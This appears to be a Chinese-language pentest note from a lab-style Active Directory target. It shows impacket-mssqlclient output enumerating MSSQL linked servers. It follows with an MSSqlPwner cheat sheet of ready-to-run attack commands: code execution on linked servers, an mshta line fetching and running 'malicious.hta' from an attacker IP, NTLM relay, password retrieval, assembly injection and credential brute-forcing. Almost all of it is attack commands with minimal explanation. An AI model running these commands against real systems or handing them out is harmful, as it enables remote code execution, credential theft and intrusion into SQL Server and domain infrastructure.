感觉不好用,这个链接服务器枚举有问题,推荐使用 impacket-mssqlclient
这里没能枚举出改用户在
DC02
机器上的角色
使用 impacket-mssqlclient 就可以枚举出
SQL (darkzero\john.w guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
----------------- ---------------- ----------- ----------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
DC02.darkzero.ext SQLNCLI SQL Server DC02.darkzero.ext NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
----------------- --------------- --------------- ------------
>>>> DC02.darkzero.ext darkzero\john.w 0 dc01_sql_svc
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
# 交互模式
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
# 交互模式,允许 2 层深度的身份模拟
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
# 在当前服务器上使用 Windows 认证执行自定义程序集,执行 hostname 命令
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# 在当前服务器上使用 Windows 认证执行自定义程序集,在 SRV01 链接服务器上执行 hostname 命令
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# 在链接服务器 SRV01 上使用存储过程执行 hostname 命令
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# 在链接服务器 SRV01 上使用 sp_oacreate 方法执行 hostname 命令
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# 对 SRV01 服务器发起 NTLM 中继攻击
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# 对链 ID 为 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 的服务器发起 NTLM 中继攻击
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# 对本地服务器发起 NTLM 中继攻击(使用自定义命令)
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
# 执行直接 SQL 查询
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
# 从链接服务器 DC01 检索密码
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
# 在链接服务器 DC01 上使用自定义程序集执行代码
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# 使用票据、哈希和密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# 使用哈希和密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# 使用票据对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# 使用密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# 使用哈希对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt